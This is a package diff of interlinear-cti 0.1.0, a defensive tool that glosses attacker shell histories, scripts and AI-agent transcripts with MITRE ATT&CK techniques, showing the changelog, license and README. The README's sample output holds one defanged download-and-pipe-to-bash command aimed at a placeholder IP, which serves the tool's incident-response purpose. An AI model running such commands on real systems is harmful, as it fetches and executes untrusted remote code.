interlinear-cti 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- interlinear_cti-0.1.0/.gitignore +8 -0
- interlinear_cti-0.1.0/CHANGELOG.md +64 -0
- interlinear_cti-0.1.0/LICENSE +201 -0
- interlinear_cti-0.1.0/NOTICE +8 -0
- interlinear_cti-0.1.0/PKG-INFO +148 -0
- interlinear_cti-0.1.0/README.md +113 -0
- interlinear_cti-0.1.0/plugin/.claude-plugin/plugin.json +13 -0
- interlinear_cti-0.1.0/plugin/skills/gloss/SKILL.md +104 -0
- interlinear_cti-0.1.0/pyproject.toml +58 -0
- interlinear_cti-0.1.0/src/interlinear_cti/__init__.py +3 -0
- interlinear_cti-0.1.0/src/interlinear_cti/cli.py +398 -0
- interlinear_cti-0.1.0/src/interlinear_cti/errors.py +10 -0
- interlinear_cti-0.1.0/src/interlinear_cti/export.py +165 -0
- interlinear_cti-0.1.0/src/interlinear_cti/fileio.py +75 -0
- interlinear_cti-0.1.0/src/interlinear_cti/glossing.py +303 -0
- interlinear_cti-0.1.0/src/interlinear_cti/iocs.py +684 -0
- interlinear_cti-0.1.0/src/interlinear_cti/model.py +129 -0
- interlinear_cti-0.1.0/src/interlinear_cti/normalize.py +1311 -0
- interlinear_cti-0.1.0/src/interlinear_cti/parse.py +615 -0
- interlinear_cti-0.1.0/src/interlinear_cti/parse_main.py +109 -0
- interlinear_cti-0.1.0/src/interlinear_cti/pyz.py +35 -0
- interlinear_cti-0.1.0/src/interlinear_cti/readers/__init__.py +123 -0
- interlinear_cti-0.1.0/src/interlinear_cti/readers/agent_log.py +64 -0
- interlinear_cti-0.1.0/src/interlinear_cti/readers/script.py +352 -0
- interlinear_cti-0.1.0/src/interlinear_cti/readers/shell_history.py +124 -0
- interlinear_cti-0.1.0/src/interlinear_cti/render.py +180 -0
- interlinear_cti-0.1.0/src/interlinear_cti/rules/00-context.yaml +101 -0
- interlinear_cti-0.1.0/src/interlinear_cti/rules/05-persistence.yaml +319 -0
- interlinear_cti-0.1.0/src/interlinear_cti/rules/10-transfer-exec.yaml +462 -0
- interlinear_cti-0.1.0/src/interlinear_cti/rules/15-credentials.yaml +95 -0
- interlinear_cti-0.1.0/src/interlinear_cti/rules/20-discovery.yaml +242 -0
- interlinear_cti-0.1.0/src/interlinear_cti/rules/25-collection.yaml +16 -0
- interlinear_cti-0.1.0/src/interlinear_cti/rules/30-persistence.yaml +96 -0
- interlinear_cti-0.1.0/src/interlinear_cti/rules/40-evasion.yaml +191 -0
- interlinear_cti-0.1.0/src/interlinear_cti/rules/50-network.yaml +164 -0
- interlinear_cti-0.1.0/src/interlinear_cti/rules/60-impact.yaml +22 -0
- interlinear_cti-0.1.0/src/interlinear_cti/rules/VERSION +1 -0
- interlinear_cti-0.1.0/src/interlinear_cti/rules.py +1085 -0
- interlinear_cti-0.1.0/src/interlinear_cti/textshow.py +110 -0
- interlinear_cti-0.1.0/src/interlinear_cti/tlds.py +82 -0
- interlinear_cti-0.1.0/src/interlinear_cti/verify.py +118 -0
- interlinear_cti-0.1.0/tests/conftest.py +134 -0
- interlinear_cti-0.1.0/tests/fixtures/approved/ConsoleHost_history.txt.md +33 -0
- interlinear_cti-0.1.0/tests/fixtures/approved/ConsoleHost_history.txt.scenario.json +46 -0
- interlinear_cti-0.1.0/tests/fixtures/approved/agent.jsonl.md +42 -0
- interlinear_cti-0.1.0/tests/fixtures/approved/agent.jsonl.scenario.json +22 -0
- interlinear_cti-0.1.0/tests/fixtures/approved/bash_history.md +50 -0
- interlinear_cti-0.1.0/tests/fixtures/approved/bash_history.scenario.json +62 -0
- interlinear_cti-0.1.0/tests/fixtures/approved/install.sh.md +44 -0
- interlinear_cti-0.1.0/tests/fixtures/approved/install.sh.scenario.json +38 -0
- interlinear_cti-0.1.0/tests/fixtures/approved/inventory.ps1.md +25 -0
- interlinear_cti-0.1.0/tests/fixtures/approved/inventory.ps1.scenario.json +30 -0
- interlinear_cti-0.1.0/tests/fixtures/approved/zsh_history.md +24 -0
- interlinear_cti-0.1.0/tests/fixtures/approved/zsh_history.scenario.json +30 -0
- interlinear_cti-0.1.0/tests/fixtures/inputs/ConsoleHost_history.txt +5 -0
- interlinear_cti-0.1.0/tests/fixtures/inputs/agent.jsonl +7 -0
- interlinear_cti-0.1.0/tests/fixtures/inputs/bash_history +16 -0
- interlinear_cti-0.1.0/tests/fixtures/inputs/install.sh +7 -0
- interlinear_cti-0.1.0/tests/fixtures/inputs/inventory.ps1 +5 -0
- interlinear_cti-0.1.0/tests/fixtures/inputs/zsh_history +4 -0
- interlinear_cti-0.1.0/tests/make_snapshots.py +31 -0
- interlinear_cti-0.1.0/tests/test_agent_split.py +173 -0
- interlinear_cti-0.1.0/tests/test_cli.py +40 -0
- interlinear_cti-0.1.0/tests/test_cli_parse.py +33 -0
- interlinear_cti-0.1.0/tests/test_context_shapes.py +604 -0
- interlinear_cti-0.1.0/tests/test_default_deny.py +290 -0
- interlinear_cti-0.1.0/tests/test_export.py +311 -0
- interlinear_cti-0.1.0/tests/test_fileio.py +115 -0
- interlinear_cti-0.1.0/tests/test_fixtures.py +115 -0
- interlinear_cti-0.1.0/tests/test_gloss_skill.py +34 -0
- interlinear_cti-0.1.0/tests/test_glossing.py +127 -0
- interlinear_cti-0.1.0/tests/test_glossing_hardening.py +847 -0
- interlinear_cti-0.1.0/tests/test_glossing_multiline.py +194 -0
- interlinear_cti-0.1.0/tests/test_install_hints.py +44 -0
- interlinear_cti-0.1.0/tests/test_iocs.py +55 -0
- interlinear_cti-0.1.0/tests/test_iocs_hardening.py +540 -0
- interlinear_cti-0.1.0/tests/test_model.py +66 -0
- interlinear_cti-0.1.0/tests/test_multiline_commands.py +300 -0
- interlinear_cti-0.1.0/tests/test_normalize.py +99 -0
- interlinear_cti-0.1.0/tests/test_normalize_hardening.py +1192 -0
- interlinear_cti-0.1.0/tests/test_output_writes.py +296 -0
- interlinear_cti-0.1.0/tests/test_package.py +4 -0
- interlinear_cti-0.1.0/tests/test_parse.py +135 -0
- interlinear_cti-0.1.0/tests/test_parse_hardening.py +915 -0
- interlinear_cti-0.1.0/tests/test_parse_safety.py +141 -0
- interlinear_cti-0.1.0/tests/test_readers.py +107 -0
- interlinear_cti-0.1.0/tests/test_readers_hardening.py +1012 -0
- interlinear_cti-0.1.0/tests/test_render.py +376 -0
- interlinear_cti-0.1.0/tests/test_rule_precision_fixes.py +76 -0
- interlinear_cti-0.1.0/tests/test_rules.py +64 -0
- interlinear_cti-0.1.0/tests/test_rules_coverage.py +682 -0
- interlinear_cti-0.1.0/tests/test_rules_hardening.py +768 -0
- interlinear_cti-0.1.0/tests/test_textshow.py +88 -0
- interlinear_cti-0.1.0/tests/test_verify.py +32 -0
- interlinear_cti-0.1.0/tests/test_verify_close.py +98 -0
- interlinear_cti-0.1.0/tests/test_verify_hardening.py +275 -0
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
# Changelog
|
|
2
|
+
|
|
3
|
+
All notable changes to Interlinear are recorded here. Versions follow [Semantic Versioning](https://semver.org/).
|
|
4
|
+
|
|
5
|
+
## 0.1.0 (2026-10-21)
|
|
6
|
+
|
|
7
|
+
The first release.
|
|
8
|
+
|
|
9
|
+
### Readers
|
|
10
|
+
|
|
11
|
+
- Bash and zsh histories, PowerShell `ConsoleHost_history.txt`, shell scripts, PowerShell scripts and generic AI-agent
|
|
12
|
+
JSONL transcripts. A file's name or content decides how it is read; anything else is kept line by line as `unknown`.
|
|
13
|
+
- Multi-line commands (continuations, quoted newlines, arrays, pipelines and heredocs) are read as one record, then
|
|
14
|
+
split at the newlines, `;`, `&&`, `||` and `&` that end a command. An oversized heredoc body is split with a warning
|
|
15
|
+
instead of being truncated.
|
|
16
|
+
- An agent tool call that holds several commands is glossed one command at a time. Each part records where it came
|
|
17
|
+
from in a `part` entry: its index, the number of parts and its offset in the command as the agent sent it. The first
|
|
18
|
+
part also holds the whole command, which the Markdown view shows above the parts.
|
|
19
|
+
|
|
20
|
+
### Safety
|
|
21
|
+
|
|
22
|
+
- Only `interlinear parse` reads raw attacker files. It is standard-library Python that never executes its input,
|
|
23
|
+
opens no network connections, defangs URLs, IPs and domains, and replaces encoded blobs with their SHA-256.
|
|
24
|
+
`interlinear build-parse-pyz` packages it as a single zipapp to run in a sandbox.
|
|
25
|
+
- Every later stage reads only the resulting `transcript.json`.
|
|
26
|
+
|
|
27
|
+
### Glosses
|
|
28
|
+
|
|
29
|
+
- Every gloss is labeled by its source: `rule`, `model`, `analyst`, `none` (context) or `pending`.
|
|
30
|
+
- The rule library, version 2026.10.6, holds 90 rules mapped to MITRE ATT&CK and ATLAS techniques, each with match
|
|
31
|
+
and no-match examples that `interlinear rules test` checks (`--verify` also checks every technique ID).
|
|
32
|
+
- The context label is default-deny. A line is labeled context only when it is plainly literal printable ASCII, and
|
|
33
|
+
only while its file or session has not changed how later commands are found or run (an alias, a function, a shell
|
|
34
|
+
option, a sourced file, `PATH` or another special variable). A file or session with a NUL, a carriage return or
|
|
35
|
+
another control character gets no context label. The README explains what the label does and does not promise.
|
|
36
|
+
- A PowerShell history or script whose line endings are all CRLF is read as if they were LF, so Windows files keep the
|
|
37
|
+
context label. A lone CR, mixed line endings or any other control character still removes it, and bash, zsh and sh
|
|
38
|
+
files with CRLF never get it.
|
|
39
|
+
- Technique IDs are checked against Countermap's local MITRE data, through the `countermap` extra
|
|
40
|
+
(`countermap>=0.2,<0.3`).
|
|
41
|
+
|
|
42
|
+
### Claude Code plugin
|
|
43
|
+
|
|
44
|
+
- The `gloss` skill glosses the lines the rule library could not and submits them through
|
|
45
|
+
`interlinear apply-glosses`, which validates, defangs and bounds them and labels them `model`. Analysts record their
|
|
46
|
+
own glosses with `interlinear annotate`.
|
|
47
|
+
- The skill runs on Haiku by default, which matched Opus on meaning and technique in trials on agent transcripts. Its
|
|
48
|
+
report lists every line left pending or glossed with low confidence, for an analyst to review.
|
|
49
|
+
|
|
50
|
+
### Outputs
|
|
51
|
+
|
|
52
|
+
- `transcript.json`, the source of truth for every later stage.
|
|
53
|
+
- `interlinear render`: a Markdown interlinear view.
|
|
54
|
+
- `interlinear export-scenario`: a Countermap scenario that Countermap can draw.
|
|
55
|
+
|
|
56
|
+
### Documentation
|
|
57
|
+
|
|
58
|
+
- `docs/design.md`: the pipeline, the safety model, the data model, the rule library and the known limits.
|
|
59
|
+
- `docs/evaluation.md`: how far to trust each label, how the default-deny CONTEXT gates were tested, a sampled check
|
|
60
|
+
of rule glosses, coverage on public AI-agent duel transcripts, the model-tier trials, and the known limits.
|
|
61
|
+
|
|
62
|
+
### Not yet included
|
|
63
|
+
|
|
64
|
+
- A dedicated PentAGI reader, which waits for documented real samples.
|
|
@@ -0,0 +1,201 @@
|
|
|
1
|
+
Apache License
|
|
2
|
+
Version 2.0, January 2004
|
|
3
|
+
http://www.apache.org/licenses/
|
|
4
|
+
|
|
5
|
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
6
|
+
|
|
7
|
+
1. Definitions.
|
|
8
|
+
|
|
9
|
+
"License" shall mean the terms and conditions for use, reproduction,
|
|
10
|
+
and distribution as defined by Sections 1 through 9 of this document.
|
|
11
|
+
|
|
12
|
+
"Licensor" shall mean the copyright owner or entity authorized by
|
|
13
|
+
the copyright owner that is granting the License.
|
|
14
|
+
|
|
15
|
+
"Legal Entity" shall mean the union of the acting entity and all
|
|
16
|
+
other entities that control, are controlled by, or are under common
|
|
17
|
+
control with that entity. For the purposes of this definition,
|
|
18
|
+
"control" means (i) the power, direct or indirect, to cause the
|
|
19
|
+
direction or management of such entity, whether by contract or
|
|
20
|
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
21
|
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
22
|
+
|
|
23
|
+
"You" (or "Your") shall mean an individual or Legal Entity
|
|
24
|
+
exercising permissions granted by this License.
|
|
25
|
+
|
|
26
|
+
"Source" form shall mean the preferred form for making modifications,
|
|
27
|
+
including but not limited to software source code, documentation
|
|
28
|
+
source, and configuration files.
|
|
29
|
+
|
|
30
|
+
"Object" form shall mean any form resulting from mechanical
|
|
31
|
+
transformation or translation of a Source form, including but
|
|
32
|
+
not limited to compiled object code, generated documentation,
|
|
33
|
+
and conversions to other media types.
|
|
34
|
+
|
|
35
|
+
"Work" shall mean the work of authorship, whether in Source or
|
|
36
|
+
Object form, made available under the License, as indicated by a
|
|
37
|
+
copyright notice that is included in or attached to the work
|
|
38
|
+
(an example is provided in the Appendix below).
|
|
39
|
+
|
|
40
|
+
"Derivative Works" shall mean any work, whether in Source or Object
|
|
41
|
+
form, that is based on (or derived from) the Work and for which the
|
|
42
|
+
editorial revisions, annotations, elaborations, or other modifications
|
|
43
|
+
represent, as a whole, an original work of authorship. For the purposes
|
|
44
|
+
of this License, Derivative Works shall not include works that remain
|
|
45
|
+
separable from, or merely link (or bind by name) to the interfaces of,
|
|
46
|
+
the Work and Derivative Works thereof.
|
|
47
|
+
|
|
48
|
+
"Contribution" shall mean any work of authorship, including
|
|
49
|
+
the original version of the Work and any modifications or additions
|
|
50
|
+
to that Work or Derivative Works thereof, that is intentionally
|
|
51
|
+
submitted to Licensor for inclusion in the Work by the copyright owner
|
|
52
|
+
or by an individual or Legal Entity authorized to submit on behalf of
|
|
53
|
+
the copyright owner. For the purposes of this definition, "submitted"
|
|
54
|
+
means any form of electronic, verbal, or written communication sent
|
|
55
|
+
to the Licensor or its representatives, including but not limited to
|
|
56
|
+
communication on electronic mailing lists, source code control systems,
|
|
57
|
+
and issue tracking systems that are managed by, or on behalf of, the
|
|
58
|
+
Licensor for the purpose of discussing and improving the Work, but
|
|
59
|
+
excluding communication that is conspicuously marked or otherwise
|
|
60
|
+
designated in writing by the copyright owner as "Not a Contribution."
|
|
61
|
+
|
|
62
|
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
63
|
+
on behalf of whom a Contribution has been received by Licensor and
|
|
64
|
+
subsequently incorporated within the Work.
|
|
65
|
+
|
|
66
|
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
67
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
68
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
69
|
+
copyright license to reproduce, prepare Derivative Works of,
|
|
70
|
+
publicly display, publicly perform, sublicense, and distribute the
|
|
71
|
+
Work and such Derivative Works in Source or Object form.
|
|
72
|
+
|
|
73
|
+
3. Grant of Patent License. Subject to the terms and conditions of
|
|
74
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
75
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
76
|
+
(except as stated in this section) patent license to make, have made,
|
|
77
|
+
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
78
|
+
where such license applies only to those patent claims licensable
|
|
79
|
+
by such Contributor that are necessarily infringed by their
|
|
80
|
+
Contribution(s) alone or by combination of their Contribution(s)
|
|
81
|
+
with the Work to which such Contribution(s) was submitted. If You
|
|
82
|
+
institute patent litigation against any entity (including a
|
|
83
|
+
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
84
|
+
or a Contribution incorporated within the Work constitutes direct
|
|
85
|
+
or contributory patent infringement, then any patent licenses
|
|
86
|
+
granted to You under this License for that Work shall terminate
|
|
87
|
+
as of the date such litigation is filed.
|
|
88
|
+
|
|
89
|
+
4. Redistribution. You may reproduce and distribute copies of the
|
|
90
|
+
Work or Derivative Works thereof in any medium, with or without
|
|
91
|
+
modifications, and in Source or Object form, provided that You
|
|
92
|
+
meet the following conditions:
|
|
93
|
+
|
|
94
|
+
(a) You must give any other recipients of the Work or
|
|
95
|
+
Derivative Works a copy of this License; and
|
|
96
|
+
|
|
97
|
+
(b) You must cause any modified files to carry prominent notices
|
|
98
|
+
stating that You changed the files; and
|
|
99
|
+
|
|
100
|
+
(c) You must retain, in the Source form of any Derivative Works
|
|
101
|
+
that You distribute, all copyright, patent, trademark, and
|
|
102
|
+
attribution notices from the Source form of the Work,
|
|
103
|
+
excluding those notices that do not pertain to any part of
|
|
104
|
+
the Derivative Works; and
|
|
105
|
+
|
|
106
|
+
(d) If the Work includes a "NOTICE" text file as part of its
|
|
107
|
+
distribution, then any Derivative Works that You distribute must
|
|
108
|
+
include a readable copy of the attribution notices contained
|
|
109
|
+
within such NOTICE file, excluding those notices that do not
|
|
110
|
+
pertain to any part of the Derivative Works, in at least one
|
|
111
|
+
of the following places: within a NOTICE text file distributed
|
|
112
|
+
as part of the Derivative Works; within the Source form or
|
|
113
|
+
documentation, if provided along with the Derivative Works; or,
|
|
114
|
+
within a display generated by the Derivative Works, if and
|
|
115
|
+
wherever such third-party notices normally appear. The contents
|
|
116
|
+
of the NOTICE file are for informational purposes only and
|
|
117
|
+
do not modify the License. You may add Your own attribution
|
|
118
|
+
notices within Derivative Works that You distribute, alongside
|
|
119
|
+
or as an addendum to the NOTICE text from the Work, provided
|
|
120
|
+
that such additional attribution notices cannot be construed
|
|
121
|
+
as modifying the License.
|
|
122
|
+
|
|
123
|
+
You may add Your own copyright statement to Your modifications and
|
|
124
|
+
may provide additional or different license terms and conditions
|
|
125
|
+
for use, reproduction, or distribution of Your modifications, or
|
|
126
|
+
for any such Derivative Works as a whole, provided Your use,
|
|
127
|
+
reproduction, and distribution of the Work otherwise complies with
|
|
128
|
+
the conditions stated in this License.
|
|
129
|
+
|
|
130
|
+
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
131
|
+
any Contribution intentionally submitted for inclusion in the Work
|
|
132
|
+
by You to the Licensor shall be under the terms and conditions of
|
|
133
|
+
this License, without any additional terms or conditions.
|
|
134
|
+
Notwithstanding the above, nothing herein shall supersede or modify
|
|
135
|
+
the terms of any separate license agreement you may have executed
|
|
136
|
+
with Licensor regarding such Contributions.
|
|
137
|
+
|
|
138
|
+
6. Trademarks. This License does not grant permission to use the trade
|
|
139
|
+
names, trademarks, service marks, or product names of the Licensor,
|
|
140
|
+
except as required for reasonable and customary use in describing the
|
|
141
|
+
origin of the Work and reproducing the content of the NOTICE file.
|
|
142
|
+
|
|
143
|
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
144
|
+
agreed to in writing, Licensor provides the Work (and each
|
|
145
|
+
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
146
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
147
|
+
implied, including, without limitation, any warranties or conditions
|
|
148
|
+
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
149
|
+
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
150
|
+
appropriateness of using or redistributing the Work and assume any
|
|
151
|
+
risks associated with Your exercise of permissions under this License.
|
|
152
|
+
|
|
153
|
+
8. Limitation of Liability. In no event and under no legal theory,
|
|
154
|
+
whether in tort (including negligence), contract, or otherwise,
|
|
155
|
+
unless required by applicable law (such as deliberate and grossly
|
|
156
|
+
negligent acts) or agreed to in writing, shall any Contributor be
|
|
157
|
+
liable to You for damages, including any direct, indirect, special,
|
|
158
|
+
incidental, or consequential damages of any character arising as a
|
|
159
|
+
result of this License or out of the use or inability to use the
|
|
160
|
+
Work (including but not limited to damages for loss of goodwill,
|
|
161
|
+
work stoppage, computer failure or malfunction, or any and all
|
|
162
|
+
other commercial damages or losses), even if such Contributor
|
|
163
|
+
has been advised of the possibility of such damages.
|
|
164
|
+
|
|
165
|
+
9. Accepting Warranty or Additional Liability. While redistributing
|
|
166
|
+
the Work or Derivative Works thereof, You may choose to offer,
|
|
167
|
+
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
168
|
+
or other liability obligations and/or rights consistent with this
|
|
169
|
+
License. However, in accepting such obligations, You may act only
|
|
170
|
+
on Your own behalf and on Your sole responsibility, not on behalf
|
|
171
|
+
of any other Contributor, and only if You agree to indemnify,
|
|
172
|
+
defend, and hold each Contributor harmless for any liability
|
|
173
|
+
incurred by, or claims asserted against, such Contributor by reason
|
|
174
|
+
of your accepting any such warranty or additional liability.
|
|
175
|
+
|
|
176
|
+
END OF TERMS AND CONDITIONS
|
|
177
|
+
|
|
178
|
+
APPENDIX: How to apply the Apache License to your work.
|
|
179
|
+
|
|
180
|
+
To apply the Apache License to your work, attach the following
|
|
181
|
+
boilerplate notice, with the fields enclosed by brackets "[]"
|
|
182
|
+
replaced with your own identifying information. (Don't include
|
|
183
|
+
the brackets!) The text should be enclosed in the appropriate
|
|
184
|
+
comment syntax for the file format. We also recommend that a
|
|
185
|
+
file or class name and description of purpose be included on the
|
|
186
|
+
same "printed page" as the copyright notice for easier
|
|
187
|
+
identification within third-party archives.
|
|
188
|
+
|
|
189
|
+
Copyright [yyyy] [name of copyright owner]
|
|
190
|
+
|
|
191
|
+
Licensed under the Apache License, Version 2.0 (the "License");
|
|
192
|
+
you may not use this file except in compliance with the License.
|
|
193
|
+
You may obtain a copy of the License at
|
|
194
|
+
|
|
195
|
+
http://www.apache.org/licenses/LICENSE-2.0
|
|
196
|
+
|
|
197
|
+
Unless required by applicable law or agreed to in writing, software
|
|
198
|
+
distributed under the License is distributed on an "AS IS" BASIS,
|
|
199
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
200
|
+
See the License for the specific language governing permissions and
|
|
201
|
+
limitations under the License.
|
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
Interlinear
|
|
2
|
+
Copyright 2026 Diego Parra
|
|
3
|
+
|
|
4
|
+
Licensed under the Apache License, Version 2.0 (see LICENSE).
|
|
5
|
+
|
|
6
|
+
MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation.
|
|
7
|
+
ATLAS is a trademark of The MITRE Corporation. Interlinear is not affiliated
|
|
8
|
+
with or endorsed by MITRE.
|
|
@@ -0,0 +1,148 @@
|
|
|
1
|
+
Metadata-Version: 2.5
|
|
2
|
+
Name: interlinear-cti
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Line-by-line glosses of attacker shell histories, scripts and AI-agent transcripts, with every gloss labeled by its source.
|
|
5
|
+
Project-URL: Homepage, https://github.com/elchacal801/interlinear
|
|
6
|
+
Project-URL: Source, https://github.com/elchacal801/interlinear
|
|
7
|
+
Project-URL: Issues, https://github.com/elchacal801/interlinear/issues
|
|
8
|
+
Project-URL: Changelog, https://github.com/elchacal801/interlinear/blob/main/CHANGELOG.md
|
|
9
|
+
Author: Diego Parra
|
|
10
|
+
License-Expression: Apache-2.0
|
|
11
|
+
License-File: LICENSE
|
|
12
|
+
License-File: NOTICE
|
|
13
|
+
Keywords: ai-agents,incident-response,mitre-attack,shell-history,threat-intelligence
|
|
14
|
+
Classifier: Development Status :: 3 - Alpha
|
|
15
|
+
Classifier: Environment :: Console
|
|
16
|
+
Classifier: Intended Audience :: Information Technology
|
|
17
|
+
Classifier: Operating System :: OS Independent
|
|
18
|
+
Classifier: Programming Language :: Python :: 3
|
|
19
|
+
Classifier: Programming Language :: Python :: 3 :: Only
|
|
20
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
21
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
22
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
23
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
24
|
+
Classifier: Programming Language :: Python :: 3.14
|
|
25
|
+
Classifier: Topic :: Security
|
|
26
|
+
Requires-Python: >=3.10
|
|
27
|
+
Requires-Dist: pydantic>=2.8
|
|
28
|
+
Requires-Dist: pyyaml>=6.0.1
|
|
29
|
+
Provides-Extra: countermap
|
|
30
|
+
Requires-Dist: countermap<0.3,>=0.2; extra == 'countermap'
|
|
31
|
+
Provides-Extra: dev
|
|
32
|
+
Requires-Dist: markdown-it-py[linkify]>=3.0; extra == 'dev'
|
|
33
|
+
Requires-Dist: pytest>=8; extra == 'dev'
|
|
34
|
+
Description-Content-Type: text/markdown
|
|
35
|
+
|
|
36
|
+
# Interlinear
|
|
37
|
+
|
|
38
|
+
Interlinear turns attacker shell histories, dropped scripts and AI-agent transcripts into interlinear glosses. Under every line it adds what the line does in plain English, the MITRE ATT&CK® or ATLAS techniques it maps to, the artifacts and IOCs it touches, and where that gloss came from:
|
|
39
|
+
|
|
40
|
+
| Source | Meaning |
|
|
41
|
+
|---|---|
|
|
42
|
+
| `rule` | Matched the deterministic rule library |
|
|
43
|
+
| `model` | Claude's analysis, through the gloss skill |
|
|
44
|
+
| `analyst` | A person's edit, through `interlinear annotate` |
|
|
45
|
+
| `none` | A context line the rule library recognized, such as `cd` or `ls`, or tool output, which is never glossed |
|
|
46
|
+
| `pending` | Not glossed yet |
|
|
47
|
+
|
|
48
|
+
A `model` or `analyst` gloss with no techniques marks a context line, and keeps its source. [docs/evaluation.md](https://github.com/elchacal801/interlinear/blob/main/docs/evaluation.md) says how far to trust each source and how that was tested, and [docs/design.md](https://github.com/elchacal801/interlinear/blob/main/docs/design.md) explains how Interlinear is built.
|
|
49
|
+
|
|
50
|
+
### What the CONTEXT label means
|
|
51
|
+
|
|
52
|
+
The rule library labels a line as context (`none`) only when the line is plainly literal: printable ASCII with no expansion, substitution, glob, redirection, pipe or separator, such as `cd /tmp`, `ls -la` or `echo done`. It also has to come from a file or session that has not changed how later commands are found or run. Once a history, script or agent session defines an alias or a function, sets a shell option, sources a file or assigns `PATH` or another special variable, no later line from it is labeled context, and the transcript's warnings name the line where that happened. A file or session that holds a NUL, a carriage return or another control character gets no context label at all. The one exception is a PowerShell script or history whose line endings are all CRLF, as Windows writes them: PowerShell reads CRLF as a plain line end, so such a file is read as if its lines ended in LF. A lone carriage return, a file that mixes CRLF and LF line ends, or any other control character still removes the label, and a bash, zsh or sh file with CRLF line endings never gets it. Everything else is explained by the rules or by the model. The label is an aid for an analyst, not a guarantee against a transcript crafted to mislead it.
|
|
53
|
+
|
|
54
|
+
```text
|
|
55
|
+
12 curl -s hxxp://203.0.113[.]5/x.sh | bash
|
|
56
|
+
T1105 Ingress Tool Transfer · T1059.004 Unix Shell [rule: download-pipe-shell]
|
|
57
|
+
Downloads a script and pipes it straight into a shell, so it runs without being saved.
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
## Safety model
|
|
61
|
+
|
|
62
|
+
- Only `interlinear parse` reads raw attacker files.
|
|
63
|
+
- It is standard-library Python that never executes its input, opens no network connections, defangs URLs, IPs and domains, and replaces encoded blobs with their SHA-256.
|
|
64
|
+
- Run it inside a sandbox: `interlinear build-parse-pyz` packages it as a single file for that.
|
|
65
|
+
- Every later stage reads only the resulting `transcript.json`.
|
|
66
|
+
- Transcript text can contain instructions aimed at AI analysts. The gloss skill treats it as data and never acts on it.
|
|
67
|
+
- The skill's glosses are untrusted too. `interlinear apply-glosses` validates, defangs and bounds them, labels them `model`, and only fills pending lines. Analyst glosses go through `interlinear annotate`, which the skill never runs.
|
|
68
|
+
|
|
69
|
+
## Install
|
|
70
|
+
|
|
71
|
+
With pipx, the second command also puts Countermap's own command on your PATH:
|
|
72
|
+
|
|
73
|
+
```bash
|
|
74
|
+
pipx install "interlinear-cti[countermap]"
|
|
75
|
+
pipx inject --include-apps --force interlinear-cti "countermap>=0.2,<0.3"
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
With uv:
|
|
79
|
+
|
|
80
|
+
```bash
|
|
81
|
+
uv tool install "interlinear-cti[countermap]" --with-executables-from countermap
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
With pip, inside a virtual environment:
|
|
85
|
+
|
|
86
|
+
```bash
|
|
87
|
+
pip install "interlinear-cti[countermap]"
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
Then, once, build Countermap's database: Interlinear checks technique IDs against Countermap's local MITRE data.
|
|
91
|
+
|
|
92
|
+
```bash
|
|
93
|
+
countermap build
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
## Use
|
|
97
|
+
|
|
98
|
+
```bash
|
|
99
|
+
# 1. Parse, in a sandbox
|
|
100
|
+
interlinear build-parse-pyz -o interlinear-parse.pyz
|
|
101
|
+
mkdir -p out # create it first, so the container user can write to it
|
|
102
|
+
docker run --rm --network none --read-only --cap-drop ALL --security-opt no-new-privileges \
|
|
103
|
+
--memory 3g --user "$(id -u):$(id -g)" \
|
|
104
|
+
-v "$PWD/interlinear-parse.pyz:/tools/interlinear-parse.pyz:ro" \
|
|
105
|
+
-v "$PWD/raw:/in:ro" -v "$PWD/out:/out" \
|
|
106
|
+
python:3.12-slim python3 /tools/interlinear-parse.pyz /in -o /out/transcript.json --case CASE
|
|
107
|
+
|
|
108
|
+
# 2. Gloss with the rule library, then the remaining lines with Claude Code
|
|
109
|
+
interlinear gloss out/transcript.json
|
|
110
|
+
# then in Claude Code, once (2.1.275 or later): /plugin install interlinear --marketplace elchacal801/interlinear
|
|
111
|
+
# or, on older versions, two steps: /plugin marketplace add elchacal801/interlinear
|
|
112
|
+
# followed by: /plugin install interlinear@interlinear
|
|
113
|
+
# and run: /interlinear:gloss out/transcript.json
|
|
114
|
+
# Your own glosses, as a JSON list in the skill's format, replace earlier ones (which move to history):
|
|
115
|
+
interlinear annotate out/transcript.json my-glosses.json --by "Your Name"
|
|
116
|
+
|
|
117
|
+
# 3. Outputs
|
|
118
|
+
interlinear render out/transcript.json # out/transcript.md
|
|
119
|
+
interlinear export-scenario out/transcript.json -o scenario.json
|
|
120
|
+
# then in Claude Code with Countermap: draw scenario.json with /countermap:threat-model
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
Any sandbox works if it gives the parse stage no network, a read-only input, a writable output folder and about 3 GB of memory.
|
|
124
|
+
